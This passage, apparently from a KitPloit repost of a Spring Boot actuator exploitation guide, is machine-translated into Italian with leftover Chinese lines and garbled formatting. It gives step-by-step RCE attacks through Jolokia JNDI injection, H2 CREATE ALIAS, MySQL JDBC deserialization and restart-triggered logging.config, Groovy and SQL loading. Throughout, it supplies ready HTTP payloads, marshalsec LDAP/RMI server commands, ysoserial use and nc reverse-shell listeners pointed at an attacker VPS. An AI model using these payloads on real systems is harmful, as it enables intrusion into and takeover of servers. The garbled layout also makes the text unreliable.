    - La destinazione può effettuare richieste al server HTTP dell'attaccante (le richieste possono uscire verso la rete esterna)
    
    - L'iniezione JNDI normale è influenzata dalla versione JDK del target, jdk < 6u201/7u191/8u182/11.0.1 (LDAP), ma gli ambienti correlati possono essere bypassati
    
    
    
    #### Metodo di sfruttamento:
    
    ##### Passo 1:Controllare gli MBeans esistenti
    
    Accedere all'endpoint `/jolokia/list` e verificare se esistono `ch.qos.logback.classic.jmx.JMXConfigurator` e la parola chiave `reloadByURL`.
    
    
    
    ##### Passo 2:Ospitare il file xml
    
    Avviare un semplice server HTTP sulla propria macchina VPS, utilizzando preferibilmente porte comuni per servizi HTTP (80, 443)```bash
    # 使用 python 快速开启 http server
    
    python2 -m SimpleHTTPServer 80
    python3 -m http.server 80
    

    在根目录放置以 xml 结尾的 example.xml 文件,内容如下:```xml

    root@kitploit:~
    ##### Passo tre: preparare il codice Java da eseguire
    
    Scrivere il [codice Java di esempio](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) ottimizzato per ottenere una shell inversa, `JNDIObject.java`,
    
    compilare utilizzando un metodo compatibile con versioni JDK inferiori:```bash
    javac -source 1.5 -target 1.5 JNDIObject.java
    

    Quindi copiare il file JNDIObject.class generato nella directory root del sito web del Passo 2.

    Passo 4: Configurare il servizio LDAP malevolo

    Scaricare marshalsec e utilizzare il comando seguente per configurare il servizio LDAP corrispondente:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

    root@kitploit:~
    ##### Passo 5: Ascoltare la porta per la reverse shell
    
    Generalmente si usa nc per mettersi in ascolto su una porta, in attesa di una reverse shell```bash
    nc -lv 443
    
    Passo sei: Caricare il file di configurazione del log da un URL esterno

    ⚠️ Se il target ha richiesto con successo example.xml e anche marshalsec ha ricevuto la richiesta dal target, ma il target non ha richiesto JNDIObject.class, è probabile che la versione JDK dell'ambiente target sia troppo alta, causando il fallimento dell'attacco JNDI.

    Sostituisci con l'indirizzo IP effettivo del tuo VPS e accedi all'URL per attivare la vulnerabilità:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

    root@kitploit:~
    #### Principio della vulnerabilità:
    
    1. L'accesso diretto all'URL che attiva la vulnerabilità equivale a chiamare il metodo `reloadByURL` della classe `ch.qos.logback.classic.jmx.JMXConfigurator` tramite jolokia
    2. La macchina target richiede l'URL del file di configurazione del log esterno e ottiene il contenuto di un file XML malevolo
    3. La macchina target analizza il file XML usando `saxParser.parse` (questo causa la vulnerabilità XXE)
    4. Nel file XML, sfrutta il tag `insertFormJNDI` della dipendenza `logback`, impostando l'indirizzo del server JNDI esterno
    5. La macchina target richiede il server JNDI malevolo, causando un'iniezione JNDI e portando a una vulnerabilità RCE
    
    #### Analisi della vulnerabilità:
    
    [spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
    
    #### Ambiente della vulnerabilità:
    
    [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
    
    Accesso normale:```
    http://127.0.0.1:9094/env
    

    0x05:jolokia Realm JNDI RCE

    Condizioni di sfruttamento:

    • Il sito target ha un endpoint /jolokia o /actuator/jolokia
    • Il target utilizza la dipendenza jolokia-core (la versione richiesta è sconosciuta al momento) e nell'ambiente sono presenti i relativi MBean
    • Il target può effettuare richieste verso il server dell'attaccante (le richieste possono uscire dalla rete esterna)
    • L'iniezione JNDI normale è influenzata dalla versione JDK del target, jdk < 6u141/7u131/8u121 (RMI), ma l'ambiente correlato può essere bypassato

    Metodo di sfruttamento:

    Passo 1: Verificare gli MBean esistenti

    Accedere all'endpoint /jolokia/list per verificare se esistono parole chiave type=MBeanFactory e createJNDIRealm.

    Passo 2: Preparare il codice Java da eseguire

    Scrivere il codice Java esempio JNDIObject.java ottimizzato per ottenere una reverse shell.

    Passo 3: Ospitare il file class

    Avviare un semplice server HTTP sulla propria macchina VPS, utilizzando possibilmente porte comuni per servizi HTTP (80, 443).```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Copia il file `.class` compilato nel **Passo 2** nella directory radice del server HTTP.
    
    
    
    ##### Passo 4: Impostare un servizio RMI malevolo
    
    Scarica [marshalsec](https://github.com/mbechler/marshalsec) e usa il comando seguente per impostare il corrispondente servizio RMI:```bash
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
    
    Passo cinque: ascoltare la porta per il reverse shell

    Generalmente si usa nc per ascoltare una porta in attesa del reverse shell.```bash nc -lvp 443

    root@kitploit:~
    ##### Passo sei: Inviare il payload malevolo
    
    Modifica l'indirizzo di destinazione, l'indirizzo RMI, la porta e altre informazioni nello script [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) in base alla situazione reale, quindi eseguilo sul server che controlli.
    
    
    
    #### Principio della vulnerabilità:
    
    1. Utilizzare jolokia per chiamare createJNDIRealm e creare un JNDIRealm
    2. Impostare l'indirizzo connectionURL sull'URL del servizio RMI
    3. Impostare contextFactory su RegistryContextFactory
    4. Fermare il Realm
    5. Avviare il Realm per attivare l'iniezione JNDI all'indirizzo RMI specificato, causando una vulnerabilità RCE
    
    
    
    #### Analisi della vulnerabilità:
    
    ​	[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
    
    
    
    #### Ambiente della vulnerabilità:
    
    [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
    
    Accesso normale:```
    http://127.0.0.1:9094/env
    

    0x06: riavviare la query del database h2 RCE

    Condizioni di sfruttamento:

    • È possibile inviare una richiesta POST all'endpoint /env del sito target per impostare le proprietà
    • È possibile inviare una richiesta POST all'endpoint /restart del sito target per riavviare l'applicazione
    • Esiste la dipendenza com.h2database.h2 (versione richiesta attualmente sconosciuta)

    Metodo di sfruttamento:

    Passo 1: Impostare la proprietà spring.datasource.hikari.connection-test-query

    ⚠️ Il metodo 'T5' nel payload sottostante deve essere rinominato (es. T6) dopo ogni esecuzione del comando per poter essere ricreato e riutilizzato, altrimenti la vulnerabilità non verrà attivata al successivo riavvio dell'applicazione

    spring 1.x (esecuzione di comandi senza output)``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

    root@kitploit:~
    spring 2.x(esecuzione di comandi senza riscontro)```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
    
    Passo 2: Riavviare l'applicazione

    spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/restart
    Content-Type: application/json
    
    

    Principio della vulnerabilità:

    1. La proprietà spring.datasource.hikari.connection-test-query viene impostata a un'istruzione SQL dannosa CREATE ALIAS per creare una funzione personalizzata.
    2. Tale proprietà corrisponde alla configurazione connectionTestQuery del pool di connessioni HikariCP, definendo un'istruzione SQL eseguita prima di stabilire una nuova connessione al database.
    3. Riavviando l'applicazione, si stabilisce una nuova connessione al database.
    4. Se la funzione personalizzata nell'istruzione SQL non è ancora stata eseguita, verrà eseguita, causando una vulnerabilità RCE.

    Analisi della vulnerabilità:

    remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

    Ambiente della vulnerabilità:

    repository/springboot-h2-database-rce

    Accesso normale:``` http://127.0.0.1:9096/actuator/env

    root@kitploit:~
    ### 0x07:console di database h2 JNDI RCE
    
    #### Condizioni di sfruttamento:
    
    - Presenza della dipendenza `com.h2database.h2` (versione richiesta attualmente sconosciuta)
    - Abilitazione della console h2 nella configurazione di Spring `spring.h2.console.enabled=true`
    - Il target deve poter effettuare richieste verso il server dell’attaccante (richieste verso rete esterna possibili)
    - L’iniezione JNDI è influenzata dalla versione JDK del target: jdk < 6u201/7u191/8u182/11.0.1 (modalità LDAP)
    
    #### Metodi di sfruttamento:
    
    ##### Passo 1: visitare la route per ottenere il jsessionid
    
    Accedere direttamente alla route predefinita della console h2 del target `/h2-console`, il target reindirizzerà alla pagina `/h2-console/login.jsp?jsessionid=xxxxxx`. Registrare il valore effettivo di `jsessionid=xxxxxx`.
    
    ##### Passo 2: preparare il codice Java da eseguire
    
    Scrivere un [codice Java di esempio](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) ottimizzato per ottenere una shell inversa `JNDIObject.java`,
    
    compilare in modo compatibile con versioni JDK più vecchie:```bash
    javac -source 1.5 -target 1.5 JNDIObject.java
    

    Copiate il file JNDIObject.class generato nella directory radice del sito web del Passaggio 2.

    Passaggio 3: ospitare il file class

    Sulla macchina VPS sotto il tuo controllo, avvia un semplice server HTTP utilizzando possibilmente porte di servizio HTTP comuni (80, 443).```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Copia il file class compilato nel **passaggio 2** nella directory root del server HTTP.
    
    ##### Passaggio 4: Imposta il servizio ldap dannoso
    
    Scarica [marshalsec](https://github.com/mbechler/marshalsec) e utilizza il seguente comando per impostare il servizio ldap corrispondente:```bash
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
    
    Passaggio 5: Monitora la porta per la reverse shell

    Generalmente si usa nc per ascoltare su una porta, aspettando una reverse shell```bash nc -lv 443

    root@kitploit:~
    ##### Passo 6: Invio del pacchetto per attivare l'iniezione JNDI
    
    In base alla situazione reale, sostituisci i seguenti dati: `jsessionid=xxxxxx`, `www.example.com` e `ldap://your-vps-ip:1389/JNDIObject````bash
    POST /h2-console/login.do?jsessionid=xxxxxx
    Host: www.example.com
    Content-Type: application/x-www-form-urlencoded
    Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
    
    language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
    

    Analisi della vulnerabilità:

    ​ Spring Boot + H2 Database JNDI Injection

    Ambiente della vulnerabilità:

    repository/springboot-h2-database-rce

    Accesso normale:``` http://127.0.0.1:9096/h2-console

    root@kitploit:~
    ### 0x08: deserializzazione RCE di mysql jdbc
    
    #### Condizioni di sfruttamento:
    
    - Può inviare una richiesta POST all'endpoint `/env` del sito target per impostare le proprietà
    - Può inviare una richiesta POST all'endpoint `/refresh` per aggiornare la configurazione (è presente la dipendenza `spring-boot-starter-actuator`)
    - Nell'ambiente target è presente la dipendenza `mysql-connector-java`
    - Il target può effettuare richieste verso il server dell'attaccante (le richieste possono uscire verso la rete esterna)
    
    #### Metodo di sfruttamento:
    
    ##### Passo 1: Verificare le dipendenze dell'ambiente
    
    Inviare una richiesta GET a `/env` o `/actuator/env`, cercare la parola chiave `mysql-connector-java` nelle variabili d'ambiente (classpath) e annotare il numero di versione (5.x o 8.x);
    
    Cercare e osservare se nelle variabili d'ambiente sono presenti dipendenze comuni di gadget di deserializzazione, come `commons-collections`, `Jdk7u21`, `Jdk8u20`, ecc.;
    
    Cercare la parola chiave `spring.datasource.url`, annotare il suo `value`, per facilitare il successivo ripristino del normale valore dell'URL JDBC.
    
    ##### Passo 2: Allestire un server MySQL rogue malevolo
    
    Eseguire lo script [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) sul server controllato e utilizzare [ysoserial](https://github.com/frohoff/ysoserial) per personalizzare il comando da eseguire:```bash
    java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
    

    Genera il file payload deserializzato payload.ser nella stessa directory dello script, per essere utilizzato dallo script.

    Passo 3: Imposta la proprietà spring.datasource.url

    ⚠️ Modificare questa proprietà renderà temporaneamente inutilizzabili tutti i normali servizi di database del sito, influenzando le operazioni aziendali. Procedere con cautela!

    Per la versione 5.x di mysql-connector-java, imposta il valore della proprietà come:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

    root@kitploit:~
    mysql-connector-java versione 8.x imposta **valori delle proprietà** come:```
    jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
    

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.datasource.url=对应属性值

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.datasource.url","value":"对应属性值"}
    
    Passo 4: Aggiornamento configurazione

    spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/refresh
    Content-Type: application/json
    
    
    Passo 5: Attivare la query del database

    Provare ad accedere all'interfaccia di query del database conosciuta del sito web, ad esempio: /product/list, o cercare altri modi per attivare attivamente una query del database sul sito sorgente, quindi la vulnerabilità verrà attivata

    Passo 6: Ripristinare l'URL JDBC originale

    Dopo aver completato lo sfruttamento della vulnerabilità di deserializzazione, utilizzare il metodo del Passo 3 per ripristinare il valore value originale di spring.datasource.url registrato nel Passo 1

    Principio della vulnerabilità:

    1. L'attributo spring.datasource.url viene impostato su un URL JDBC MySQL malevolo esterno
    2. Dopo il refresh, viene impostato un nuovo valore per l'attributo spring.datasource.url
    3. Quando il sito web esegue operazioni come query al database, tenterà di stabilire una nuova connessione al database utilizzando l'URL JDBC MySQL malevolo
    4. Quindi il server MySQL malevolo restituirà i dati del payload di deserializzazione nella fase appropriata di stabilimento della connessione
    5. Il mysql-connector-java dipendente dall'obiettivo deserializzerà il gadget configurato, causando una vulnerabilità RCE

    Analisi della vulnerabilità:

    ​ New-Exploit-Technique-In-Java-Deserialization-Attack

    Ambiente della vulnerabilità:

    È necessario configurare spring.datasource.url, spring.datasource.username, spring.datasource.password in application.properties per garantire una normale connessione al database MySQL, altrimenti il programma genererà un errore e uscirà all'avvio

    repository/springboot-mysql-jdbc-rce

    Accesso normale:``` http://127.0.0.1:9097/actuator/env

    root@kitploit:~
    Dopo aver inviato il payload, si attiva la vulnerabilità:```
    http://127.0.0.1:9097/product/list
    

    0x09: riavviare la configurazione di logging logback JNDI RCE

    Condizioni di sfruttamento:

    • È possibile inviare una richiesta POST all'interfaccia /env del sito target per impostare proprietà
    • È possibile inviare una richiesta POST all'interfaccia /restart del sito target per riavviare l'applicazione
    • L'iniezione JNDI standard è influenzata dalla versione JDK del target, JDK < 6u201/7u191/8u182/11.0.1 (LDAP), ma gli ambienti correlati possono essere aggirati
    • ⚠️ Il target può effettuare richieste al server HTTP dell'attaccante (le richieste possono uscire verso la rete esterna), altrimenti il riavvio causerà un'uscita anomala del programma
    • ⚠️ Se il server HTTP restituisce un file con contenuto XML malformato, causerà un'uscita anomala del programma
    • ⚠️ L'oggetto restituito dal servizio JNDI deve implementare l'interfaccia javax.naming.spi.ObjectFactory, altrimenti causerà un'uscita anomala del programma

    Metodo di sfruttamento:

    Passo 1: Ospitare il file XML

    Avviare un semplice server HTTP sulla propria macchina VPS, utilizzando preferibilmente porte comuni per servizi HTTP (80, 443)```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    在根目录放置以 `xml` 结尾的  `example.xml` 文件,实际内容要根据步骤二中使用的 JNDI 服务来确定:
    
    Posiziona il file `example.xml` con estensione `xml` nella directory principale. Il contenuto effettivo deve essere determinato in base al servizio JNDI utilizzato al passo 2:```xml
    <configuration>
      <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
    </configuration>
    
    Passo 2: Ospitare il servizio LDAP malevolo e il codice

    Fare riferimento all'articolo, modificare JNDIExploit e avviarlo (si possono usare anche altri metodi):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip

    root@kitploit:~
    ##### Passo 3: Imposta la proprietà logging.config
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    logging.config=http://your-vps-ip/example.xml
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"logging.config","value":"http://your-vps-ip/example.xml"}

    root@kitploit:~
    ##### Passo quattro: riavviare l'applicazione
    
    spring 1.x```
    POST /restart
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/restart Content-Type: application/json

    root@kitploit:~
    #### Principio della vulnerabilità:
    
    1. La macchina target imposta l'URL del file di configurazione del log di logback tramite la proprietà `logging.config`
    2. Dopo il riavvio dell'applicazione con `restart`, il programma richiede l'URL per ottenere il contenuto del file XML malevolo
    3. La macchina target analizza il file XML utilizzando `saxParser.parse` (questo causa la vulnerabilità XXE)
    4. Nel file XML, utilizzando il tag `insertFormJNDI` della dipendenza `logback`, viene impostato l'indirizzo del server JNDI esterno
    5. La macchina target richiede il server JNDI malevolo, causando un'iniezione JNDI, che porta a una vulnerabilità RCE
    
    #### Analisi della vulnerabilità:
    
    ​	[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
    
    ​	https://landgrey.me/blog/21/
    
    #### Ambiente della vulnerabilità:
    
    [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
    
    Accesso normale:```
    http://127.0.0.1:9098/actuator/env
    

    0x0A: restart logging.config groovy RCE

    Condizioni di sfruttamento:

    • Possibilità di inviare richieste POST all'endpoint /env del sito target per impostare proprietà
    • Possibilità di inviare richieste POST all'endpoint /restart del sito target per riavviare l'applicazione
    • ⚠️ Il target deve essere in grado di contattare il server HTTP dell'attaccante (le richieste devono uscire verso Internet), altrimenti il restart porterà a un'uscita anomala del programma
    • ⚠️ Se il server HTTP restituisce un file con sintassi Groovy malformata, ciò porterà a un'uscita anomala del programma
    • ⚠️ Nell'ambiente è necessaria la presenza della dipendenza Groovy, altrimenti si avrà un'uscita anomala del programma

    Metodo di sfruttamento:

    Passo 1: Ospitare il file Groovy

    Avviare un semplice server HTTP su una macchina VPS controllata, utilizzando possibilmente porte comuni per servizi HTTP (80, 443)```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Nella directory root posiziona un file che termina con `groovy`, come `example.groovy`, il cui contenuto è il codice Groovy da eseguire, ad esempio:```xml
    Runtime.getRuntime().exec("open -a Calculator")
    
    
    Passo 2: Imposta la proprietà logging.config

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    logging.config=http://your-vps-ip/example.groovy

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
    
    Passaggio tre: riavvia l'applicazione

    spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/restart
    Content-Type: application/json
    
    

    Principio della vulnerabilità:

    1. La macchina target imposta l'URL del file di configurazione del log di Logback tramite la proprietà logging.config.
    2. Dopo il riavvio, l'applicazione richiede l'URL impostato.
    3. Nel file di codice ch.qos.logback.classic.util.ContextInitializer.java del componente logback-classic, la logica verifica se l'URL termina con groovy.
    4. Se l'URL termina con groovy, viene eseguito il codice Groovy contenuto nel file, causando una vulnerabilità RCE.

    Ambiente di vulnerabilità:

    repository/springboot-restart-rce

    Accesso normale:``` http://127.0.0.1:9098/actuator/env

    root@kitploit:~
    ### 0x0B:restart spring.main.sources groovy RCE
    
    #### Condizioni di sfruttamento:
    
    - È possibile inviare una richiesta POST all'endpoint `/env` del sito target per impostare le proprietà
    - È possibile inviare una richiesta POST all'endpoint `/restart` del sito target per riavviare l'applicazione
    - ⚠️ Il target deve essere in grado di contattare il server HTTP dell'attaccante (le richieste devono poter uscire verso la rete esterna), altrimenti il restart causerà un'uscita anomala del programma
    - ⚠️ Se il server HTTP restituisce un file con sintassi groovy malformata, ciò causerà un'uscita anomala del programma
    - ⚠️ L'ambiente deve contenere la dipendenza groovy, altrimenti causerà un'uscita anomala del programma
    
    #### Metodo di sfruttamento:
    
    ##### Passo 1: Ospitare il file groovy
    
    Sulla propria macchina VPS controllata, avviare un semplice server HTTP, utilizzando possibilmente porte di servizio HTTP comuni (80, 443)```bash
    # 使用 python 快速开启 http server
    
    python2 -m SimpleHTTPServer 80
    python3 -m http.server 80
    

    Posiziona nella directory principale un file example.groovy che termina con groovy, il cui contenuto è il codice Groovy da eseguire, ad esempio:```xml Runtime.getRuntime().exec("open -a Calculator")

    root@kitploit:~
    ##### Passo 2: Imposta la proprietà spring.main.sources
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    spring.main.sources=http://your-vps-ip/example.groovy
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}

    root@kitploit:~
    ##### Fase 3: riavviare l'applicazione
    
    spring 1.x```
    POST /restart
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/restart Content-Type: application/json

    root@kitploit:~
    #### Principio della vulnerabilità:
    
    1. La macchina target può impostare l'URL di fonti aggiuntive per creare `ApplicationContext` tramite la proprietà `spring.main.sources`
    2. Dopo il riavvio (restart), il programma richiederà l'URL impostato
    3. Nel componente `spring-boot`, la logica del file `org.springframework.boot.BeanDefinitionLoader.java` verifica se l'URL termina con `.groovy`
    4. Se l'URL termina con `.groovy`, verrà eseguito il codice groovy contenuto nel file, causando una vulnerabilità RCE
    
    #### Ambiente della vulnerabilità:
    
    [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
    
    Accesso normale:```
    http://127.0.0.1:9098/actuator/env
    

    0x0C:riavvia spring.datasource.data h2 database RCE

    Condizioni di sfruttamento:

    • Può inviare richieste POST all'interfaccia /env del sito target per impostare proprietà
    • Può inviare richieste POST all'interfaccia /restart del sito target per riavviare l'applicazione
    • Nell'ambiente devono essere presenti le dipendenze h2database e spring-boot-starter-data-jpa
    • ⚠️ Il target deve poter effettuare richieste HTTP verso il server dell'attaccante (le richieste devono poter uscire in rete esterna), altrimenti il riavvio causerà un'uscita anomala del programma
    • ⚠️ Se il server HTTP restituisce un file contenente sintassi SQL h2 malformata, il programma terminerà in modo anomalo

    Metodo di sfruttamento:

    Passo 1: Ospitare il file sql

    Avviare un semplice server HTTP sulla propria macchina VPS controllata, utilizzando preferibilmente porte comuni per servizi HTTP (80, 443)```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Inserisci un file con un nome arbitrario nella directory principale, il cui contenuto sia il codice SQL h2 da eseguire, ad esempio:
    
    > ⚠️ Il metodo 'T5' nel payload sottostante può essere eseguito solo una volta con restart; per i successivi restart è necessario cambiare il nome del metodo (ad esempio T6) e impostare un nuovo URL SQL, altrimenti al secondo riavvio dell'applicazione si verificherà un'uscita anomala del programma.```xml
    CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
    
    Passo 2: impostare proprietà spring.datasource.data

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.datasource.data=http://your-vps-ip/example.sql

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
    
    Passo 3: Riavvia l'applicazione

    spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/restart
    Content-Type: application/json
    
    

    Principio della vulnerabilità:

    1. La macchina bersaglio può impostare l'URL del file DML SQL JDBC tramite la proprietà spring.datasource.data
    2. Dopo il riavvio dell'applicazione, il programma richiederà l'URL impostato
    3. Nel componente spring-boot-autoconfigure, il file org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java utilizza il metodo runScripts per eseguire il codice SQL del database h2 contenuto nella richiesta URL, causando una vulnerabilità RCE

    Ambiente della vulnerabilità:

    repository/springboot-restart-rce

    Accesso normale:``` http://127.0.0.1:9098/actuator/env

    root@kitploit:~
    Scarica lo strumento